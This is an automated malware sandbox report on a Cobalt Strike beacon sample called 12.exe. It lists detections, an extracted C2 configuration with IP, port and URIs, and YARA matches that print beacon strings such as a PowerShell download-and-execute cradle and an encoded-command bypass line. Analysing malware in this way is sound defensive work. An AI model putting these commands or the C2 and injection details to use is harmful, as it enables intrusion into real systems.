Edit tour

Windows Analysis Report
12.exe

Overview

General Information

Sample name:	12.exe
Analysis ID:	1581039
MD5:	c8c40c038a4a8541e0924520599d8c28
SHA1:	295bb62eaf5f53f55d60f2f339a45cd7cd7aa82c
SHA256:	cbc52ae56076b1e28cff760b662145425620ae4b6d400cc9446deec21d1aae4a
Tags:	CobaltStrikeexeuser-sicehicetf
Infos:

Detection

CobaltStrike, ReflectiveLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected CobaltStrike

Yara detected Powershell download and execute

Yara detected ReflectiveLoader

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Contains functionality to detect sleep reduction / modifications

Found potential dummy code loops (likely to delay analysis)

Machine Learning detection for sample

Uses known network protocols on non-standard ports

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found evasive API chain (date check)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

Internet Provider seen in connection with other malware

May check if the current machine is a sandbox (GetTickCount - Sleep)

May sleep (evasive loops) to hinder dynamic analysis

Program does not show much activity (idle)

Sample execution stops while process was sleeping (likely an evasion)

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

12.exe (PID: 7324 cmdline: "C:\Users\user\Desktop\12.exe" MD5: C8C40C038A4A8541E0924520599D8C28)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Cobalt Strike, CobaltStrike	Cobalt Strike is a paid penetration testing product that allows an attacker to deploy an agent named 'Beacon' on the victim machine. Beacon includes a wealth of functionality to the attacker, including, but not limited to command execution, key logging, file transfer, SOCKS proxying, privilege escalation, mimikatz, port scanning and lateral movement. Beacon is in-memory/file-less, in that it consists of stageless or multi-stage shellcode that once loaded by exploiting a vulnerability or executing a shellcode loader, will reflectively load itself into the memory of a process without touching the disk. It supports C2 and staging over HTTP, HTTPS, DNS, SMB named pipes as well as forward and reverse TCP; Beacons can be daisy-chained. Cobalt Strike comes with a toolkit for developing shellcode loaders, called Artifact Kit.The Beacon implant has become popular amongst targeted attackers and criminal users as it is well written, stable, and highly customizable.	APT 29 APT32 APT41 AQUATIC PANDA Anunak Cobalt Codoso CopyKittens DarkHydrus Earth Baxia FIN6 FIN7 Leviathan Mustang Panda Shell Crew Stone Panda TianWu UNC1878 UNC2452 Winnti Umbrella	http://blog.morphisec.com/new-global-attack-on-point-of-sale-systems http://blog.nsfocus.net/murenshark http://stillu.cc/assets/slides/2023-08-Unmasking%20CamoFei.pdf http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa http://www.secureworks.com/research/threat-profiles/gold-drake	https://malpedia.caad.fkie.fraunhofer.de/details/win.cobalt_strike

Malware Configuration

Threatname: CobaltStrike

{"BeaconType": ["HTTP"], "Port": 59060, "SleepTime": 60000, "MaxGetSize": 1048576, "Jitter": 0, "C2Server": "152.42.226.16,/cx", "HttpPostUri": "/submit.php", "Malleable_C2_Instructions": [], "HttpGet_Verb": "GET", "HttpPost_Verb": "POST", "HttpPostChunk": 0, "Spawnto_x86": "%windir%\\syswow64\\rundll32.exe", "Spawnto_x64": "%windir%\\sysnative\\rundll32.exe", "CryptoScheme": 0, "Proxy_Behavior": "Use IE settings", "Watermark": 987654321, "bStageCleanup": "False", "bCFGCaution": "False", "KillDate": 0, "bProcInject_StartRWX": "True", "bProcInject_UseRWX": "True", "bProcInject_MinAllocSize": 0, "ProcInject_PrependAppend_x86": "Empty", "ProcInject_PrependAppend_x64": "Empty", "ProcInject_Execute": ["CreateThread", "SetThreadContext", "CreateRemoteThread", "RtlCreateUserThread"], "ProcInject_AllocationMethod": "VirtualAllocEx", "bUsesCookies": "True", "HostHeader": ""}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
12.exe	JoeSecurity_CobaltStrike_4	Yara detected CobaltStrike	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.4124981749.0000000000DE8000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Metasploit_7bc0f998	Identifies the API address lookup function leverage by metasploit shellcode	unknown	0x8f:$a1: 48 31 D2 65 48 8B 52 60 48 8B 52 18 48 8B 52 20 48 8B 72 50 48 0F B7 4A 4A 4D 31 C9 48 31 C0 AC 3C 61
00000000.00000002.4124981749.0000000000DE8000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Metasploit_c9773203	Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families.	unknown	0xfb:$a: 48 31 C0 AC 41 C1 C9 0D 41 01 C1 38 E0 75 F1 4C 03 4C 24 08 45 39 D1
00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_ReflectiveLoader	Yara detected ReflectiveLoader	Joe Security
00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_CobaltStrike	Yara detected CobaltStrike	Joe Security
00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_CobaltStrike_3	Yara detected CobaltStrike	Joe Security
00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_CobaltStrike_ee756db7	Attempts to detect Cobalt Strike based on strings found in BEACON	unknown	0x32430:$a1: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x324a8:$a2: %s.3%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x32c0d:$a3: ppid %d is in a different desktop session (spawned jobs may fail). Use 'ppid' to reset. 0x32f36:$a4: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x32ec8:$a5: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/') 0x32f36:$a5: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/') 0x3250b:$a6: %s.2%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x3269c:$a7: could not run command (w/ token) because of its length of %d bytes! 0x32551:$a8: %s.2%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x.%x%x.%s 0x3258f:$a9: %s.2%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x.%x%x.%s 0x32f80:$a10: powershell -nop -exec bypass -EncodedCommand "%s" 0x327f7:$a11: Could not open service control manager on %s: %d 0x32d29:$a12: %d is an x64 process (can't inject x86 content) 0x32d59:$a13: %d is an x86 process (can't inject x64 content) 0x33071:$a14: Failed to impersonate logged on user %d (%u) 0x32ce2:$a15: could not create remote thread in %d: %d 0x325c5:$a16: %s.1%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x32c90:$a17: could not write to process memory: %d 0x32828:$a18: Could not create service %s on %s: %d 0x328b1:$a19: Could not delete service %s on %s: %d 0x32716:$a20: Could not open process token: %d (%u)
00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_CobaltStrike_f0b627fc	Rule for beacon reflective loader	unknown	0xa922:$beacon_loader_x86_2: 81 E1 FF FF FF 00 81 F9 41 41 41 00 75 1D 8B 55 D8 81 E2 FF FF FF 00 81 FA 42 42 42 00 75 0xb5f2:$beacon_loader_x86_2: 81 E1 FF FF FF 00 81 F9 41 41 41 00 75 1D 8B 55 D8 81 E2 FF FF FF 00 81 FA 42 42 42 00 75
00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp	Beacon_K5om	Detects Meterpreter Beacon - file K5om.dll	Florian Roth	0x32f36:$x1: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x32f80:$x2: powershell -nop -exec bypass -EncodedCommand "%s" 0x32d59:$x3: %d is an x86 process (can't inject x64 content) 0x32716:$s1: Could not open process token: %d (%u) 0x32430:$s3: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x327d4:$s4: Could not connect to pipe (%s): %d
00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp	CobaltStrike_Unmodifed_Beacon	Detects unmodified CobaltStrike beacon DLL	yara@s3c.za.net	0x34c0e:$loader_export: ReflectiveLoader 0x34c02:$exportname: beacon.dll
00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp	Leviathan_CobaltStrike_Sample_1	Detects Cobalt Strike sample from Leviathan report	Florian Roth	0x32d29:$x2: %d is an x64 process (can't inject x86 content) 0x33071:$x3: Failed to impersonate logged on user %d (%u) 0x32f80:$s1: powershell -nop -exec bypass -EncodedCommand "%s" 0x32f36:$s2: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x3269c:$s3: could not run command (w/ token) because of its length of %d bytes! 0x32c90:$s4: could not write to process memory: %d 0x32430:$s5: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x327d4:$s6: Could not connect to pipe (%s): %d
00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp	crime_win32_csbeacon_1	Detects Cobalt Strike loader	@VK_Intel	0x3340c:$str1: %s (admin) 0x34c02:$str2: beacon.dll
00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp	WiltedTulip_ReflectiveLoader	Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip	Florian Roth	0x32f80:$x1: powershell -nop -exec bypass -EncodedCommand "%s" 0x32d59:$x2: %d is an x86 process (can't inject x64 content) 0x32f36:$x3: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x3301a:$x4: Failed to impersonate token from %d (%u) 0x33071:$x5: Failed to impersonate logged on user %d (%u) 0x32430:$x6: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s
00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_ReflectiveLoader	detects Reflective DLL injection artifacts	ditekSHen	0x34c0d:$s1: _ReflectiveLoader@ 0x34c0e:$s2: ReflectiveLoader@
00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp	MALWARE_Win_CobaltStrike	CobaltStrike payload	ditekSHen	0x32f0e:$s1: %%IMPORT%% 0x32414:$s2: www6.%x%x.%s 0x32408:$s3: cdn.%x%x.%s 0x32690:$s4: api.%x%x.%s 0x3340c:$s5: %s (admin) 0x326ff:$s6: could not spawn %s: %d 0x32fb2:$s7: Could not kill %d: %d 0x327d4:$s8: Could not connect to pipe (%s): %d 0x32421:$s9: %s.1%x.%x%x.%s 0x32430:$s9: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x324a8:$s9: %s.3%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x3250b:$s9: %s.2%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x32551:$s9: %s.2%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x.%x%x.%s 0x3258f:$s9: %s.2%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x.%x%x.%s 0x325c5:$s9: %s.1%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x325ee:$s9: %s.1%08x%08x%08x%08x%08x%08x.%x%x.%s 0x32613:$s9: %s.1%08x%08x%08x%08x%08x.%x%x.%s 0x32634:$s9: %s.1%08x%08x%08x%08x.%x%x.%s 0x32651:$s9: %s.1%08x%08x%08x.%x%x.%s 0x3266a:$s9: %s.1%08x%08x.%x%x.%s 0x3267f:$s9: %s.1%08x.%x%x.%s
00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_CobaltStrike_2	Yara detected CobaltStrike	Joe Security
00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_ReflectiveLoader	Yara detected ReflectiveLoader	Joe Security
00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_CobaltStrike	Yara detected CobaltStrike	Joe Security
00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_CobaltStrike_3	Yara detected CobaltStrike	Joe Security
00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmp	Windows_Trojan_CobaltStrike_ee756db7	Attempts to detect Cobalt Strike based on strings found in BEACON	unknown	0x30a30:$a1: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x30aa8:$a2: %s.3%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x3120d:$a3: ppid %d is in a different desktop session (spawned jobs may fail). Use 'ppid' to reset. 0x31536:$a4: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x314c8:$a5: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/') 0x31536:$a5: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/') 0x30b0b:$a6: %s.2%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x30c9c:$a7: could not run command (w/ token) because of its length of %d bytes! 0x30b51:$a8: %s.2%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x.%x%x.%s 0x30b8f:$a9: %s.2%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x.%x%x.%s 0x31580:$a10: powershell -nop -exec bypass -EncodedCommand "%s" 0x30df7:$a11: Could not open service control manager on %s: %d 0x31329:$a12: %d is an x64 process (can't inject x86 content) 0x31359:$a13: %d is an x86 process (can't inject x64 content) 0x31671:$a14: Failed to impersonate logged on user %d (%u) 0x312e2:$a15: could not create remote thread in %d: %d 0x30bc5:$a16: %s.1%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x31290:$a17: could not write to process memory: %d 0x30e28:$a18: Could not create service %s on %s: %d 0x30eb1:$a19: Could not delete service %s on %s: %d 0x30d16:$a20: Could not open process token: %d (%u)
00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmp	Windows_Trojan_CobaltStrike_f0b627fc	Rule for beacon reflective loader	unknown	0x9d22:$beacon_loader_x86_2: 81 E1 FF FF FF 00 81 F9 41 41 41 00 75 1D 8B 55 D8 81 E2 FF FF FF 00 81 FA 42 42 42 00 75 0xa9f2:$beacon_loader_x86_2: 81 E1 FF FF FF 00 81 F9 41 41 41 00 75 1D 8B 55 D8 81 E2 FF FF FF 00 81 FA 42 42 42 00 75
00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmp	Windows_Trojan_Metasploit_7bc0f998	Identifies the API address lookup function leverage by metasploit shellcode	unknown	0x3648f:$a1: 48 31 D2 65 48 8B 52 60 48 8B 52 18 48 8B 52 20 48 8B 72 50 48 0F B7 4A 4A 4D 31 C9 48 31 C0 AC 3C 61
00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmp	Windows_Trojan_Metasploit_c9773203	Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families.	unknown	0x364fb:$a: 48 31 C0 AC 41 C1 C9 0D 41 01 C1 38 E0 75 F1 4C 03 4C 24 08 45 39 D1
00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmp	Beacon_K5om	Detects Meterpreter Beacon - file K5om.dll	Florian Roth	0x31536:$x1: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x31580:$x2: powershell -nop -exec bypass -EncodedCommand "%s" 0x31359:$x3: %d is an x86 process (can't inject x64 content) 0x30d16:$s1: Could not open process token: %d (%u) 0x30a30:$s3: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x30dd4:$s4: Could not connect to pipe (%s): %d
00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmp	CobaltStrike_Unmodifed_Beacon	Detects unmodified CobaltStrike beacon DLL	yara@s3c.za.net	0x3320e:$loader_export: ReflectiveLoader 0x33202:$exportname: beacon.dll
00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmp	Leviathan_CobaltStrike_Sample_1	Detects Cobalt Strike sample from Leviathan report	Florian Roth	0x31329:$x2: %d is an x64 process (can't inject x86 content) 0x31671:$x3: Failed to impersonate logged on user %d (%u) 0x31580:$s1: powershell -nop -exec bypass -EncodedCommand "%s" 0x31536:$s2: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x30c9c:$s3: could not run command (w/ token) because of its length of %d bytes! 0x31290:$s4: could not write to process memory: %d 0x30a30:$s5: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x30dd4:$s6: Could not connect to pipe (%s): %d
00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmp	crime_win32_csbeacon_1	Detects Cobalt Strike loader	@VK_Intel	0x31a0c:$str1: %s (admin) 0x33202:$str2: beacon.dll
00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmp	WiltedTulip_ReflectiveLoader	Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip	Florian Roth	0x31580:$x1: powershell -nop -exec bypass -EncodedCommand "%s" 0x31359:$x2: %d is an x86 process (can't inject x64 content) 0x31536:$x3: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x3161a:$x4: Failed to impersonate token from %d (%u) 0x31671:$x5: Failed to impersonate logged on user %d (%u) 0x30a30:$x6: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s
00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_ReflectiveLoader	detects Reflective DLL injection artifacts	ditekSHen	0x3320d:$s1: _ReflectiveLoader@ 0x3320e:$s2: ReflectiveLoader@
00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmp	MALWARE_Win_CobaltStrike	CobaltStrike payload	ditekSHen	0x3150e:$s1: %%IMPORT%% 0x30a14:$s2: www6.%x%x.%s 0x30a08:$s3: cdn.%x%x.%s 0x30c90:$s4: api.%x%x.%s 0x31a0c:$s5: %s (admin) 0x30cff:$s6: could not spawn %s: %d 0x315b2:$s7: Could not kill %d: %d 0x30dd4:$s8: Could not connect to pipe (%s): %d 0x30a21:$s9: %s.1%x.%x%x.%s 0x30a30:$s9: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x30aa8:$s9: %s.3%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x30b0b:$s9: %s.2%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x30b51:$s9: %s.2%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x.%x%x.%s 0x30b8f:$s9: %s.2%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x.%x%x.%s 0x30bc5:$s9: %s.1%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x30bee:$s9: %s.1%08x%08x%08x%08x%08x%08x.%x%x.%s 0x30c13:$s9: %s.1%08x%08x%08x%08x%08x.%x%x.%s 0x30c34:$s9: %s.1%08x%08x%08x%08x.%x%x.%s 0x30c51:$s9: %s.1%08x%08x%08x.%x%x.%s 0x30c6a:$s9: %s.1%08x%08x.%x%x.%s 0x30c7f:$s9: %s.1%08x.%x%x.%s
Process Memory Space: 12.exe PID: 7324	JoeSecurity_CobaltStrike_2	Yara detected CobaltStrike	Joe Security
Process Memory Space: 12.exe PID: 7324	JoeSecurity_ReflectiveLoader	Yara detected ReflectiveLoader	Joe Security
Process Memory Space: 12.exe PID: 7324	JoeSecurity_CobaltStrike_1	Yara detected CobaltStrike	Joe Security
Process Memory Space: 12.exe PID: 7324	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 12.exe PID: 7324	JoeSecurity_CobaltStrike	Yara detected CobaltStrike	Joe Security
Process Memory Space: 12.exe PID: 7324	JoeSecurity_CobaltStrike_3	Yara detected CobaltStrike	Joe Security
Process Memory Space: 12.exe PID: 7324	Windows_Trojan_CobaltStrike_ee756db7	Attempts to detect Cobalt Strike based on strings found in BEACON	unknown	0x2306:$a1: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x15754:$a1: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x237e:$a2: %s.3%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x157cc:$a2: %s.3%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2ae3:$a3: ppid %d is in a different desktop session (spawned jobs may fail). Use 'ppid' to reset. 0x15f31:$a3: ppid %d is in a different desktop session (spawned jobs may fail). Use 'ppid' to reset. 0x2e02:$a4: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x16250:$a4: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x2d94:$a5: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/') 0x2e02:$a5: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/') 0x161e2:$a5: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/') 0x16250:$a5: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/') 0x23e1:$a6: %s.2%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x1582f:$a6: %s.2%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2572:$a7: could not run command (w/ token) because of its length of %d bytes! 0x159c0:$a7: could not run command (w/ token) because of its length of %d bytes! 0x2427:$a8: %s.2%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x.%x%x.%s 0x15875:$a8: %s.2%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2465:$a9: %s.2%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x.%x%x.%s 0x158b3:$a9: %s.2%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x.%x%x.%s 0x2e4c:$a10: powershell -nop -exec bypass -EncodedCommand "%s"
Process Memory Space: 12.exe PID: 7324	CobaltStrike_Unmodifed_Beacon	Detects unmodified CobaltStrike beacon DLL	yara@s3c.za.net	0x5039:$loader_export: ReflectiveLoader 0x5057:$loader_export: ReflectiveLoader 0x18487:$loader_export: ReflectiveLoader 0x184a5:$loader_export: ReflectiveLoader 0x502d:$exportname: beacon.dll 0x504c:$exportname: beacon.dll 0x1847b:$exportname: beacon.dll 0x1849a:$exportname: beacon.dll
Process Memory Space: 12.exe PID: 7324	WiltedTulip_ReflectiveLoader	Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip	Florian Roth	0x2e4c:$x1: powershell -nop -exec bypass -EncodedCommand "%s" 0x1629a:$x1: powershell -nop -exec bypass -EncodedCommand "%s" 0x2c2f:$x2: %d is an x86 process (can't inject x64 content) 0x1607d:$x2: %d is an x86 process (can't inject x64 content) 0x2e02:$x3: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x16250:$x3: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x2ee6:$x4: Failed to impersonate token from %d (%u) 0x16334:$x4: Failed to impersonate token from %d (%u) 0x2f3d:$x5: Failed to impersonate logged on user %d (%u) 0x1638b:$x5: Failed to impersonate logged on user %d (%u) 0x2306:$x6: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x15754:$x6: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s
Click to see the 33 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.12.exe.400000.0.unpack	JoeSecurity_CobaltStrike_4	Yara detected CobaltStrike	Joe Security
0.0.12.exe.400000.0.unpack	JoeSecurity_CobaltStrike_4	Yara detected CobaltStrike	Joe Security
0.2.12.exe.db0000.2.raw.unpack	JoeSecurity_ReflectiveLoader	Yara detected ReflectiveLoader	Joe Security
0.2.12.exe.db0000.2.raw.unpack	JoeSecurity_CobaltStrike	Yara detected CobaltStrike	Joe Security
0.2.12.exe.db0000.2.raw.unpack	JoeSecurity_CobaltStrike_3	Yara detected CobaltStrike	Joe Security
0.2.12.exe.db0000.2.raw.unpack	Windows_Trojan_CobaltStrike_ee756db7	Attempts to detect Cobalt Strike based on strings found in BEACON	unknown	0x32430:$a1: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x324a8:$a2: %s.3%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x32c0d:$a3: ppid %d is in a different desktop session (spawned jobs may fail). Use 'ppid' to reset. 0x32f36:$a4: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x32ec8:$a5: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/') 0x32f36:$a5: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/') 0x3250b:$a6: %s.2%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x3269c:$a7: could not run command (w/ token) because of its length of %d bytes! 0x32551:$a8: %s.2%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x.%x%x.%s 0x3258f:$a9: %s.2%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x.%x%x.%s 0x32f80:$a10: powershell -nop -exec bypass -EncodedCommand "%s" 0x327f7:$a11: Could not open service control manager on %s: %d 0x32d29:$a12: %d is an x64 process (can't inject x86 content) 0x32d59:$a13: %d is an x86 process (can't inject x64 content) 0x33071:$a14: Failed to impersonate logged on user %d (%u) 0x32ce2:$a15: could not create remote thread in %d: %d 0x325c5:$a16: %s.1%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x32c90:$a17: could not write to process memory: %d 0x32828:$a18: Could not create service %s on %s: %d 0x328b1:$a19: Could not delete service %s on %s: %d 0x32716:$a20: Could not open process token: %d (%u)
0.2.12.exe.db0000.2.raw.unpack	Windows_Trojan_CobaltStrike_f0b627fc	Rule for beacon reflective loader	unknown	0xa922:$beacon_loader_x86_2: 81 E1 FF FF FF 00 81 F9 41 41 41 00 75 1D 8B 55 D8 81 E2 FF FF FF 00 81 FA 42 42 42 00 75 0xb5f2:$beacon_loader_x86_2: 81 E1 FF FF FF 00 81 F9 41 41 41 00 75 1D 8B 55 D8 81 E2 FF FF FF 00 81 FA 42 42 42 00 75
